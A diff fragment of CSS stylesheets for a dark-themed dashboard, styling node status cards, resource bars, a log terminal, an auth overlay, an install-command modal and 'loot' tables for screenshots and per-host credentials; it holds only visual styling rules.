.loot-table td { padding: 0.45rem 0.5rem; border-bottom: 1px solid rgba(30,41,59,0.5); color: #e2e8f0; vertical-align: middle; }
|
||||||
|
.loot-thumb { width: 56px; height: 36px; object-fit: cover; border-radius: 4px; cursor: pointer; border: 1px solid var(--border-color, #1e293b); }
|
||||||
|
.loot-thumb:hover { border-color: var(--accent-emerald, #10b981); }
|
||||||
|
.loot-thumb-cell { width: 64px; }
|
||||||
|
.loot-file-icon { font-size: 1.4rem; color: var(--text-dim, #64748b); }
|
||||||
|
.loot-mime { font-size: 0.7rem; color: var(--text-dim, #64748b); }
|
||||||
|
.loot-cred-group { margin-bottom: 0.75rem; }
|
||||||
|
.loot-cred-host { font-weight: 600; color: #e2e8f0; padding: 0.4rem 0; border-bottom: 1px solid var(--border-color, #1e293b); margin-bottom: 0.4rem; }
|
||||||
|
.loot-cred-row { display: flex; align-items: center; gap: 0.6rem; padding: 0.3rem 0; font-size: 0.85rem; }
|
||||||
|
.loot-cred-val { background: rgba(15,23,42,0.8); padding: 0.2rem 0.5rem; border-radius: 4px; flex: 1; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; cursor: pointer; color: #e2e8f0; }
|
||||||
|
.loot-cred-time { color: var(--text-dim, #64748b); font-size: 0.75rem; min-width: 60px; text-align: right; }
|
||||||
|
.loot-lightbox-img { max-width: 90vw; max-height: 90vh; border-radius: 8px; box-shadow: 0 0 60px rgba(0,0,0,0.8); }
|
||||||
|
|
||||||
|
/* ── Toasts ── */
|
||||||
|
.toast-stack { position: fixed; top: 70px; right: 16px; z-index: 9999; display: flex; flex-direction: column; gap: 0.5rem; pointer-events: none; }
|
||||||
|
.toast { display: flex; align-items: center; gap: 0.5rem; background: rgba(15,23,42,0.95); border: 1px solid var(--border-color, #1e293b); border-left: 3px solid var(--accent-blue, #3b82f6); color: #e2e8f0; padding: 0.6rem 0.9rem; border-radius: 8px; font-size: 0.85rem; box-shadow: 0 4px 20px rgba(0,0,0,0.5); animation: toastIn 0.25s ease-out; pointer-events: auto; max-width: 340px; }
|
||||||
|
.toast-success { border-left-color: var(--accent-emerald, #10b981); }
|
||||||
|
.toast-error { border-left-color: #ef4444; }
|
||||||
|
.toast-out { opacity: 0; transform: translateX(20px); transition: all 0.4s ease; }
|
||||||
|
@keyframes toastIn { from { opacity: 0; transform: translateX(30px); } to { opacity: 1; transform: translateX(0); } }
|
||||||
|
|
||||||
|
/* ── Auth gate ── */
|
||||||
|
.auth-overlay { position: fixed; inset: 0; background: rgba(2,6,23,0.92); backdrop-filter: blur(6px); z-index: 10000; display: flex; align-items: center; justify-content: center; }
|
||||||
|
.auth-card { background: rgba(15,23,42,0.95); border: 1px solid var(--border-color, #1e293b); border-radius: 14px; padding: 2rem; width: 340px; text-align: center; box-shadow: 0 20px 60px rgba(0,0,0,0.6); }
|
||||||
|
.auth-icon { font-size: 2.2rem; color: var(--accent-emerald, #10b981); margin-bottom: 0.75rem; }
|
||||||
|
.auth-card h2 { margin: 0 0 0.4rem; color: #f1f5f9; }
|
||||||
|
.auth-card p { color: var(--text-dim, #64748b); font-size: 0.85rem; margin: 0 0 1rem; }
|
||||||
|
.auth-error { color: #ef4444 !important; margin-top: 0.6rem !important; }
|
||||||
|
|
||||||
|
/* ── Empty state hero ── */
|
||||||
|
.empty-hero { grid-column: 1 / -1; text-align: center; padding: 3rem 2rem; background: rgba(15,23,42,0.5); border: 1px dashed var(--border-color, #1e293b); border-radius: 14px; }
|
||||||
|
.empty-hero-icon { font-size: 3rem; color: var(--accent-emerald, #10b981); margin-bottom: 1rem; animation: pulse 2s infinite; }
|
||||||
|
.empty-hero h2 { color: #f1f5f9; margin: 0 0 0.5rem; }
|
||||||
|
.empty-hero p { color: var(--text-dim, #64748b); max-width: 520px; margin: 0 auto 1.25rem; }
|
||||||
|
.empty-cmd { display: flex; align-items: center; justify-content: center; gap: 0.75rem; flex-wrap: wrap; }
|
||||||
|
.empty-cmd code { background: rgba(2,6,23,0.9); border: 1px solid var(--border-color, #1e293b); padding: 0.6rem 1rem; border-radius: 8px; font-size: 0.9rem; color: var(--accent-emerald, #10b981); }
|
||||||
|
.empty-hint { margin-top: 1rem; font-size: 0.8rem; }
|
||||||
|
.empty-qr { margin-top: 1.25rem; display: flex; justify-content: center; }
|
||||||
|
.empty-qr img, .empty-qr canvas { border-radius: 8px; background: #fff; padding: 8px; }
|
||||||
|
@keyframes pulse { 0%,100% { opacity: 1; } 50% { opacity: 0.5; } }
|
||||||
|
|||||||
905
public/styles.css.bak-1785766812
Normal file
905
public/styles.css.bak-1785766812
Normal file
@@ -0,0 +1,905 @@
|
|||||||
|
:root {
|
||||||
|
--bg-dark: #090d16;
|
||||||
|
--bg-card: rgba(17, 24, 39, 0.7);
|
||||||
|
--bg-card-hover: rgba(31, 41, 55, 0.8);
|
||||||
|
--border-color: rgba(255, 255, 255, 0.08);
|
||||||
|
--border-active: rgba(6, 182, 212, 0.4);
|
||||||
|
|
||||||
|
--primary-cyan: #06b6d4;
|
||||||
|
--primary-purple: #8b5cf6;
|
||||||
|
--accent-emerald: #10b981;
|
||||||
|
--accent-rose: #f43f5e;
|
||||||
|
--accent-amber: #f59e0b;
|
||||||
|
|
||||||
|
--text-main: #f3f4f6;
|
||||||
|
--text-muted: #9ca3af;
|
||||||
|
--text-dim: #6b7280;
|
||||||
|
|
||||||
|
--font-sans: 'Inter', system-ui, sans-serif;
|
||||||
|
--font-display: 'Outfit', system-ui, sans-serif;
|
||||||
|
--font-mono: 'JetBrains Mono', monospace;
|
||||||
|
|
||||||
|
--radius-sm: 6px;
|
||||||
|
--radius-md: 12px;
|
||||||
|
--radius-lg: 18px;
|
||||||
|
--shadow-glow: 0 0 20px rgba(6, 182, 212, 0.15);
|
||||||
|
}
|
||||||
|
|
||||||
|
* {
|
||||||
|
margin: 0;
|
||||||
|
padding: 0;
|
||||||
|
box-sizing: border-box;
|
||||||
|
}
|
||||||
|
|
||||||
|
body {
|
||||||
|
background-color: var(--bg-dark);
|
||||||
|
color: var(--text-main);
|
||||||
|
font-family: var(--font-sans);
|
||||||
|
background-image:
|
||||||
|
radial-gradient(at 0% 0%, rgba(6, 182, 212, 0.05) 0px, transparent 50%),
|
||||||
|
radial-gradient(at 100% 0%, rgba(139, 92, 246, 0.05) 0px, transparent 50%);
|
||||||
|
background-attachment: fixed;
|
||||||
|
min-height: 100vh;
|
||||||
|
display: flex;
|
||||||
|
flex-direction: column;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Header Navbar */
|
||||||
|
.top-nav {
|
||||||
|
display: flex;
|
||||||
|
justify-content: space-between;
|
||||||
|
align-items: center;
|
||||||
|
padding: 1.25rem 2rem;
|
||||||
|
background: rgba(15, 23, 42, 0.85);
|
||||||
|
backdrop-filter: blur(16px);
|
||||||
|
border-bottom: 1px solid var(--border-color);
|
||||||
|
position: sticky;
|
||||||
|
top: 0;
|
||||||
|
z-index: 100;
|
||||||
|
}
|
||||||
|
|
||||||
|
.logo-area {
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
gap: 1rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.logo-icon {
|
||||||
|
width: 44px;
|
||||||
|
height: 44px;
|
||||||
|
background: linear-gradient(135deg, var(--primary-cyan), var(--primary-purple));
|
||||||
|
border-radius: var(--radius-md);
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
justify-content: center;
|
||||||
|
font-size: 1.25rem;
|
||||||
|
color: #fff;
|
||||||
|
box-shadow: var(--shadow-glow);
|
||||||
|
}
|
||||||
|
|
||||||
|
.logo-text {
|
||||||
|
font-family: var(--font-display);
|
||||||
|
font-size: 1.5rem;
|
||||||
|
font-weight: 800;
|
||||||
|
letter-spacing: -0.02em;
|
||||||
|
}
|
||||||
|
|
||||||
|
.logo-text span {
|
||||||
|
color: var(--primary-cyan);
|
||||||
|
}
|
||||||
|
|
||||||
|
.sub-text {
|
||||||
|
display: block;
|
||||||
|
font-size: 0.75rem;
|
||||||
|
color: var(--text-muted);
|
||||||
|
}
|
||||||
|
|
||||||
|
.nav-metrics {
|
||||||
|
display: flex;
|
||||||
|
gap: 1rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.metric-pill {
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
gap: 0.5rem;
|
||||||
|
background: rgba(255, 255, 255, 0.04);
|
||||||
|
border: 1px solid var(--border-color);
|
||||||
|
padding: 0.5rem 1rem;
|
||||||
|
border-radius: 9999px;
|
||||||
|
font-size: 0.85rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.pill-label {
|
||||||
|
color: var(--text-muted);
|
||||||
|
}
|
||||||
|
|
||||||
|
.pill-value {
|
||||||
|
font-family: var(--font-mono);
|
||||||
|
font-weight: 600;
|
||||||
|
}
|
||||||
|
|
||||||
|
.highlight-endpoint {
|
||||||
|
color: var(--primary-cyan);
|
||||||
|
}
|
||||||
|
|
||||||
|
.status-indicator {
|
||||||
|
width: 8px;
|
||||||
|
height: 8px;
|
||||||
|
border-radius: 50%;
|
||||||
|
background-color: var(--text-dim);
|
||||||
|
}
|
||||||
|
|
||||||
|
.status-indicator.online {
|
||||||
|
background-color: var(--accent-emerald);
|
||||||
|
box-shadow: 0 0 8px var(--accent-emerald);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Dashboard Container */
|
||||||
|
.dashboard-container {
|
||||||
|
max-width: 1400px;
|
||||||
|
width: 100%;
|
||||||
|
margin: 0 auto;
|
||||||
|
padding: 2rem;
|
||||||
|
display: flex;
|
||||||
|
flex-direction: column;
|
||||||
|
gap: 2rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Overview Stat Cards */
|
||||||
|
.stats-grid {
|
||||||
|
display: grid;
|
||||||
|
grid-template-columns: repeat(auto-fit, minmax(240px, 1fr));
|
||||||
|
gap: 1.25rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.stat-card {
|
||||||
|
background: var(--bg-card);
|
||||||
|
backdrop-filter: blur(12px);
|
||||||
|
border: 1px solid var(--border-color);
|
||||||
|
border-radius: var(--radius-md);
|
||||||
|
padding: 1.25rem 1.5rem;
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
gap: 1.25rem;
|
||||||
|
transition: transform 0.2s ease, border-color 0.2s ease;
|
||||||
|
}
|
||||||
|
|
||||||
|
.stat-card:hover {
|
||||||
|
transform: translateY(-2px);
|
||||||
|
border-color: rgba(255, 255, 255, 0.15);
|
||||||
|
}
|
||||||
|
|
||||||
|
.stat-icon {
|
||||||
|
width: 52px;
|
||||||
|
height: 52px;
|
||||||
|
border-radius: var(--radius-md);
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
justify-content: center;
|
||||||
|
font-size: 1.5rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.stat-icon.cyan { background: rgba(6, 182, 212, 0.12); color: var(--primary-cyan); }
|
||||||
|
.stat-icon.emerald { background: rgba(16, 185, 129, 0.12); color: var(--accent-emerald); }
|
||||||
|
.stat-icon.rose { background: rgba(244, 63, 94, 0.12); color: var(--accent-rose); }
|
||||||
|
.stat-icon.purple { background: rgba(139, 92, 246, 0.12); color: var(--primary-purple); }
|
||||||
|
|
||||||
|
.stat-label {
|
||||||
|
font-size: 0.8rem;
|
||||||
|
color: var(--text-muted);
|
||||||
|
text-transform: uppercase;
|
||||||
|
letter-spacing: 0.05em;
|
||||||
|
font-weight: 600;
|
||||||
|
}
|
||||||
|
|
||||||
|
.stat-number {
|
||||||
|
font-family: var(--font-display);
|
||||||
|
font-size: 1.75rem;
|
||||||
|
font-weight: 700;
|
||||||
|
margin-top: 0.2rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Toolbar & Filters */
|
||||||
|
.controls-toolbar {
|
||||||
|
display: flex;
|
||||||
|
justify-content: space-between;
|
||||||
|
align-items: center;
|
||||||
|
gap: 1rem;
|
||||||
|
flex-wrap: wrap;
|
||||||
|
}
|
||||||
|
|
||||||
|
.search-box {
|
||||||
|
position: relative;
|
||||||
|
flex: 1;
|
||||||
|
min-width: 280px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.search-box i {
|
||||||
|
position: absolute;
|
||||||
|
left: 1rem;
|
||||||
|
top: 50%;
|
||||||
|
transform: translateY(-50%);
|
||||||
|
color: var(--text-dim);
|
||||||
|
}
|
||||||
|
|
||||||
|
.search-box input {
|
||||||
|
width: 100%;
|
||||||
|
padding: 0.75rem 1rem 0.75rem 2.75rem;
|
||||||
|
background: rgba(15, 23, 42, 0.6);
|
||||||
|
border: 1px solid var(--border-color);
|
||||||
|
border-radius: var(--radius-md);
|
||||||
|
color: #fff;
|
||||||
|
font-family: var(--font-sans);
|
||||||
|
font-size: 0.9rem;
|
||||||
|
transition: all 0.2s ease;
|
||||||
|
}
|
||||||
|
|
||||||
|
.search-box input:focus {
|
||||||
|
outline: none;
|
||||||
|
border-color: var(--primary-cyan);
|
||||||
|
box-shadow: var(--shadow-glow);
|
||||||
|
}
|
||||||
|
|
||||||
|
.filter-group, .view-toggle {
|
||||||
|
display: flex;
|
||||||
|
background: rgba(15, 23, 42, 0.6);
|
||||||
|
border: 1px solid var(--border-color);
|
||||||
|
border-radius: var(--radius-md);
|
||||||
|
padding: 0.25rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.filter-btn, .toggle-btn {
|
||||||
|
background: transparent;
|
||||||
|
border: none;
|
||||||
|
color: var(--text-muted);
|
||||||
|
padding: 0.5rem 1rem;
|
||||||
|
border-radius: var(--radius-sm);
|
||||||
|
font-size: 0.85rem;
|
||||||
|
font-weight: 500;
|
||||||
|
cursor: pointer;
|
||||||
|
transition: all 0.2s ease;
|
||||||
|
}
|
||||||
|
|
||||||
|
.filter-btn.active, .toggle-btn.active {
|
||||||
|
background: rgba(255, 255, 255, 0.1);
|
||||||
|
color: #fff;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Node Cards Grid */
|
||||||
|
.nodes-grid-view {
|
||||||
|
display: grid;
|
||||||
|
grid-template-columns: repeat(auto-fill, minmax(340px, 1fr));
|
||||||
|
gap: 1.5rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.node-card {
|
||||||
|
background: var(--bg-card);
|
||||||
|
backdrop-filter: blur(12px);
|
||||||
|
border: 1px solid var(--border-color);
|
||||||
|
border-radius: var(--radius-md);
|
||||||
|
padding: 1.5rem;
|
||||||
|
display: flex;
|
||||||
|
flex-direction: column;
|
||||||
|
gap: 1.25rem;
|
||||||
|
position: relative;
|
||||||
|
overflow: hidden;
|
||||||
|
transition: all 0.25s ease;
|
||||||
|
}
|
||||||
|
|
||||||
|
.node-card:hover {
|
||||||
|
border-color: var(--border-active);
|
||||||
|
transform: translateY(-3px);
|
||||||
|
box-shadow: 0 10px 30px rgba(0, 0, 0, 0.4);
|
||||||
|
}
|
||||||
|
|
||||||
|
.node-card.offline {
|
||||||
|
opacity: 0.75;
|
||||||
|
}
|
||||||
|
|
||||||
|
.node-card::before {
|
||||||
|
content: '';
|
||||||
|
position: absolute;
|
||||||
|
top: 0;
|
||||||
|
left: 0;
|
||||||
|
right: 0;
|
||||||
|
height: 3px;
|
||||||
|
background: var(--accent-rose);
|
||||||
|
}
|
||||||
|
|
||||||
|
.node-card.online::before {
|
||||||
|
background: var(--accent-emerald);
|
||||||
|
}
|
||||||
|
|
||||||
|
.card-header {
|
||||||
|
display: flex;
|
||||||
|
justify-content: space-between;
|
||||||
|
align-items: flex-start;
|
||||||
|
}
|
||||||
|
|
||||||
|
.node-info-main {
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
gap: 0.75rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.platform-badge-icon {
|
||||||
|
width: 40px;
|
||||||
|
height: 40px;
|
||||||
|
border-radius: var(--radius-sm);
|
||||||
|
background: rgba(255, 255, 255, 0.05);
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
justify-content: center;
|
||||||
|
font-size: 1.25rem;
|
||||||
|
color: var(--primary-cyan);
|
||||||
|
}
|
||||||
|
|
||||||
|
.node-title h3 {
|
||||||
|
font-family: var(--font-display);
|
||||||
|
font-size: 1.1rem;
|
||||||
|
font-weight: 700;
|
||||||
|
}
|
||||||
|
|
||||||
|
.node-title span {
|
||||||
|
font-family: var(--font-mono);
|
||||||
|
font-size: 0.8rem;
|
||||||
|
color: var(--text-muted);
|
||||||
|
}
|
||||||
|
|
||||||
|
.status-badge {
|
||||||
|
padding: 0.25rem 0.65rem;
|
||||||
|
border-radius: 9999px;
|
||||||
|
font-size: 0.75rem;
|
||||||
|
font-weight: 600;
|
||||||
|
text-transform: uppercase;
|
||||||
|
letter-spacing: 0.05em;
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
gap: 0.4rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.status-badge.online {
|
||||||
|
background: rgba(16, 185, 129, 0.15);
|
||||||
|
color: var(--accent-emerald);
|
||||||
|
border: 1px solid rgba(16, 185, 129, 0.3);
|
||||||
|
}
|
||||||
|
|
||||||
|
.status-badge.offline {
|
||||||
|
background: rgba(244, 63, 94, 0.15);
|
||||||
|
color: var(--accent-rose);
|
||||||
|
border: 1px solid rgba(244, 63, 94, 0.3);
|
||||||
|
}
|
||||||
|
|
||||||
|
.metrics-container {
|
||||||
|
display: flex;
|
||||||
|
flex-direction: column;
|
||||||
|
gap: 0.75rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.metric-bar-group {
|
||||||
|
display: flex;
|
||||||
|
flex-direction: column;
|
||||||
|
gap: 0.3rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.metric-bar-label {
|
||||||
|
display: flex;
|
||||||
|
justify-content: space-between;
|
||||||
|
font-size: 0.8rem;
|
||||||
|
color: var(--text-muted);
|
||||||
|
}
|
||||||
|
|
||||||
|
.metric-bar-bg {
|
||||||
|
height: 8px;
|
||||||
|
background: rgba(255, 255, 255, 0.06);
|
||||||
|
border-radius: 9999px;
|
||||||
|
overflow: hidden;
|
||||||
|
}
|
||||||
|
|
||||||
|
.metric-bar-fill {
|
||||||
|
height: 100%;
|
||||||
|
border-radius: 9999px;
|
||||||
|
transition: width 0.4s ease;
|
||||||
|
}
|
||||||
|
|
||||||
|
.fill-cpu { background: linear-gradient(90deg, var(--primary-cyan), var(--primary-purple)); }
|
||||||
|
.fill-mem { background: linear-gradient(90deg, #3b82f6, #8b5cf6); }
|
||||||
|
.fill-disk { background: linear-gradient(90deg, #f59e0b, #ef4444); }
|
||||||
|
|
||||||
|
.card-footer {
|
||||||
|
display: flex;
|
||||||
|
justify-content: space-between;
|
||||||
|
align-items: center;
|
||||||
|
padding-top: 0.75rem;
|
||||||
|
border-top: 1px solid rgba(255, 255, 255, 0.06);
|
||||||
|
}
|
||||||
|
|
||||||
|
.node-actions {
|
||||||
|
display: flex;
|
||||||
|
gap: 0.5rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Buttons */
|
||||||
|
.btn {
|
||||||
|
display: inline-flex;
|
||||||
|
align-items: center;
|
||||||
|
gap: 0.5rem;
|
||||||
|
padding: 0.6rem 1.25rem;
|
||||||
|
border-radius: var(--radius-md);
|
||||||
|
font-family: var(--font-sans);
|
||||||
|
font-size: 0.875rem;
|
||||||
|
font-weight: 600;
|
||||||
|
cursor: pointer;
|
||||||
|
border: none;
|
||||||
|
transition: all 0.2s ease;
|
||||||
|
}
|
||||||
|
|
||||||
|
.btn-primary {
|
||||||
|
background: linear-gradient(135deg, var(--primary-cyan), #0284c7);
|
||||||
|
color: #fff;
|
||||||
|
box-shadow: 0 4px 12px rgba(6, 182, 212, 0.3);
|
||||||
|
}
|
||||||
|
|
||||||
|
.btn-primary:hover {
|
||||||
|
filter: brightness(1.1);
|
||||||
|
box-shadow: 0 6px 18px rgba(6, 182, 212, 0.45);
|
||||||
|
}
|
||||||
|
|
||||||
|
.btn-secondary {
|
||||||
|
background: rgba(255, 255, 255, 0.06);
|
||||||
|
border: 1px solid var(--border-color);
|
||||||
|
color: var(--text-main);
|
||||||
|
}
|
||||||
|
|
||||||
|
.btn-secondary:hover {
|
||||||
|
background: rgba(255, 255, 255, 0.12);
|
||||||
|
}
|
||||||
|
|
||||||
|
.btn-icon {
|
||||||
|
padding: 0.5rem;
|
||||||
|
border-radius: var(--radius-sm);
|
||||||
|
background: rgba(255, 255, 255, 0.05);
|
||||||
|
border: 1px solid var(--border-color);
|
||||||
|
color: var(--text-muted);
|
||||||
|
cursor: pointer;
|
||||||
|
transition: all 0.2s ease;
|
||||||
|
}
|
||||||
|
|
||||||
|
.btn-icon:hover {
|
||||||
|
color: #fff;
|
||||||
|
border-color: var(--primary-cyan);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Section Cards (Charts / Logs) */
|
||||||
|
.chart-section, .logs-section {
|
||||||
|
background: var(--bg-card);
|
||||||
|
backdrop-filter: blur(12px);
|
||||||
|
border: 1px solid var(--border-color);
|
||||||
|
border-radius: var(--radius-md);
|
||||||
|
padding: 1.5rem;
|
||||||
|
display: flex;
|
||||||
|
flex-direction: column;
|
||||||
|
gap: 1rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.section-header {
|
||||||
|
display: flex;
|
||||||
|
justify-content: space-between;
|
||||||
|
align-items: center;
|
||||||
|
}
|
||||||
|
|
||||||
|
.section-header h3 {
|
||||||
|
font-family: var(--font-display);
|
||||||
|
font-size: 1.1rem;
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
gap: 0.6rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.badge {
|
||||||
|
padding: 0.2rem 0.6rem;
|
||||||
|
border-radius: var(--radius-sm);
|
||||||
|
background: rgba(6, 182, 212, 0.15);
|
||||||
|
color: var(--primary-cyan);
|
||||||
|
font-size: 0.75rem;
|
||||||
|
font-weight: 600;
|
||||||
|
}
|
||||||
|
|
||||||
|
.badge.purple {
|
||||||
|
background: rgba(139, 92, 246, 0.15);
|
||||||
|
color: var(--primary-purple);
|
||||||
|
}
|
||||||
|
|
||||||
|
.chart-container {
|
||||||
|
height: 260px;
|
||||||
|
width: 100%;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Terminal Log View */
|
||||||
|
.terminal-window {
|
||||||
|
background: #050811;
|
||||||
|
border: 1px solid var(--border-color);
|
||||||
|
border-radius: var(--radius-sm);
|
||||||
|
font-family: var(--font-mono);
|
||||||
|
font-size: 0.85rem;
|
||||||
|
padding: 1rem;
|
||||||
|
height: 180px;
|
||||||
|
overflow-y: auto;
|
||||||
|
}
|
||||||
|
|
||||||
|
.log-entry {
|
||||||
|
padding: 0.2rem 0;
|
||||||
|
color: var(--text-muted);
|
||||||
|
}
|
||||||
|
|
||||||
|
.log-entry.system { color: var(--primary-cyan); }
|
||||||
|
.log-entry.success { color: var(--accent-emerald); }
|
||||||
|
.log-entry.error { color: var(--accent-rose); }
|
||||||
|
|
||||||
|
/* Empty state */
|
||||||
|
.empty-state {
|
||||||
|
grid-column: 1 / -1;
|
||||||
|
text-align: center;
|
||||||
|
padding: 4rem 2rem;
|
||||||
|
background: var(--bg-card);
|
||||||
|
border: 1px dashed var(--border-color);
|
||||||
|
border-radius: var(--radius-md);
|
||||||
|
display: flex;
|
||||||
|
flex-direction: column;
|
||||||
|
align-items: center;
|
||||||
|
gap: 1rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.empty-state i {
|
||||||
|
font-size: 2.5rem;
|
||||||
|
color: var(--primary-cyan);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Modal Overlay */
|
||||||
|
.modal-overlay {
|
||||||
|
position: fixed;
|
||||||
|
top: 0;
|
||||||
|
left: 0;
|
||||||
|
right: 0;
|
||||||
|
bottom: 0;
|
||||||
|
background: rgba(0, 0, 0, 0.75);
|
||||||
|
backdrop-filter: blur(8px);
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
justify-content: center;
|
||||||
|
z-index: 1000;
|
||||||
|
opacity: 0;
|
||||||
|
pointer-events: none;
|
||||||
|
transition: opacity 0.25s ease;
|
||||||
|
}
|
||||||
|
|
||||||
|
.modal-overlay.active {
|
||||||
|
opacity: 1;
|
||||||
|
pointer-events: auto;
|
||||||
|
}
|
||||||
|
|
||||||
|
.modal-card {
|
||||||
|
background: #0f172a;
|
||||||
|
border: 1px solid var(--border-color);
|
||||||
|
border-radius: var(--radius-lg);
|
||||||
|
width: 90%;
|
||||||
|
max-width: 620px;
|
||||||
|
box-shadow: 0 25px 50px -12px rgba(0, 0, 0, 0.7);
|
||||||
|
overflow: hidden;
|
||||||
|
}
|
||||||
|
|
||||||
|
.modal-header {
|
||||||
|
padding: 1.5rem;
|
||||||
|
border-bottom: 1px solid var(--border-color);
|
||||||
|
display: flex;
|
||||||
|
justify-content: space-between;
|
||||||
|
align-items: center;
|
||||||
|
}
|
||||||
|
|
||||||
|
.title-with-icon {
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
gap: 1rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.icon-accent {
|
||||||
|
font-size: 1.5rem;
|
||||||
|
color: var(--primary-cyan);
|
||||||
|
}
|
||||||
|
|
||||||
|
.modal-close {
|
||||||
|
background: transparent;
|
||||||
|
border: none;
|
||||||
|
color: var(--text-muted);
|
||||||
|
font-size: 1.25rem;
|
||||||
|
cursor: pointer;
|
||||||
|
}
|
||||||
|
|
||||||
|
.modal-body {
|
||||||
|
padding: 1.5rem;
|
||||||
|
display: flex;
|
||||||
|
flex-direction: column;
|
||||||
|
gap: 1.25rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.os-tabs {
|
||||||
|
display: flex;
|
||||||
|
gap: 0.5rem;
|
||||||
|
border-bottom: 1px solid var(--border-color);
|
||||||
|
padding-bottom: 0.5rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.tab-btn {
|
||||||
|
background: transparent;
|
||||||
|
border: none;
|
||||||
|
color: var(--text-muted);
|
||||||
|
padding: 0.5rem 1rem;
|
||||||
|
font-weight: 500;
|
||||||
|
cursor: pointer;
|
||||||
|
border-radius: var(--radius-sm);
|
||||||
|
}
|
||||||
|
|
||||||
|
.tab-btn.active {
|
||||||
|
background: rgba(6, 182, 212, 0.15);
|
||||||
|
color: var(--primary-cyan);
|
||||||
|
}
|
||||||
|
|
||||||
|
.tab-content {
|
||||||
|
display: none;
|
||||||
|
}
|
||||||
|
|
||||||
|
.tab-content.active {
|
||||||
|
display: block;
|
||||||
|
}
|
||||||
|
|
||||||
|
.tab-description {
|
||||||
|
font-size: 0.85rem;
|
||||||
|
color: var(--text-muted);
|
||||||
|
margin-bottom: 0.75rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.code-block {
|
||||||
|
background: #050811;
|
||||||
|
border: 1px solid var(--border-color);
|
||||||
|
border-radius: var(--radius-sm);
|
||||||
|
padding: 1rem;
|
||||||
|
position: relative;
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
justify-content: space-between;
|
||||||
|
}
|
||||||
|
|
||||||
|
.code-block code {
|
||||||
|
font-family: var(--font-mono);
|
||||||
|
font-size: 0.85rem;
|
||||||
|
color: var(--accent-emerald);
|
||||||
|
word-break: break-all;
|
||||||
|
}
|
||||||
|
|
||||||
|
.btn-copy {
|
||||||
|
background: rgba(255, 255, 255, 0.1);
|
||||||
|
border: 1px solid var(--border-color);
|
||||||
|
color: #fff;
|
||||||
|
padding: 0.4rem 0.8rem;
|
||||||
|
border-radius: var(--radius-sm);
|
||||||
|
font-size: 0.75rem;
|
||||||
|
cursor: pointer;
|
||||||
|
white-space: nowrap;
|
||||||
|
}
|
||||||
|
|
||||||
|
.modal-info-box {
|
||||||
|
background: rgba(6, 182, 212, 0.08);
|
||||||
|
border: 1px solid rgba(6, 182, 212, 0.2);
|
||||||
|
border-radius: var(--radius-sm);
|
||||||
|
padding: 0.75rem 1rem;
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
gap: 0.75rem;
|
||||||
|
font-size: 0.85rem;
|
||||||
|
color: var(--text-main);
|
||||||
|
}
|
||||||
|
|
||||||
|
.form-group {
|
||||||
|
display: flex;
|
||||||
|
flex-direction: column;
|
||||||
|
gap: 0.5rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.form-group label {
|
||||||
|
font-size: 0.85rem;
|
||||||
|
font-weight: 600;
|
||||||
|
color: var(--text-muted);
|
||||||
|
}
|
||||||
|
|
||||||
|
.form-input {
|
||||||
|
background: #050811;
|
||||||
|
border: 1px solid var(--border-color);
|
||||||
|
border-radius: var(--radius-sm);
|
||||||
|
padding: 0.75rem 1rem;
|
||||||
|
color: #fff;
|
||||||
|
font-family: var(--font-mono);
|
||||||
|
}
|
||||||
|
|
||||||
|
.quick-commands {
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
gap: 0.5rem;
|
||||||
|
flex-wrap: wrap;
|
||||||
|
}
|
||||||
|
|
||||||
|
.quick-label {
|
||||||
|
font-size: 0.8rem;
|
||||||
|
color: var(--text-muted);
|
||||||
|
}
|
||||||
|
|
||||||
|
.chip {
|
||||||
|
background: rgba(255, 255, 255, 0.06);
|
||||||
|
border: 1px solid var(--border-color);
|
||||||
|
color: var(--text-main);
|
||||||
|
padding: 0.25rem 0.6rem;
|
||||||
|
border-radius: 9999px;
|
||||||
|
font-size: 0.75rem;
|
||||||
|
cursor: pointer;
|
||||||
|
}
|
||||||
|
|
||||||
|
.chip:hover {
|
||||||
|
background: rgba(6, 182, 212, 0.2);
|
||||||
|
border-color: var(--primary-cyan);
|
||||||
|
}
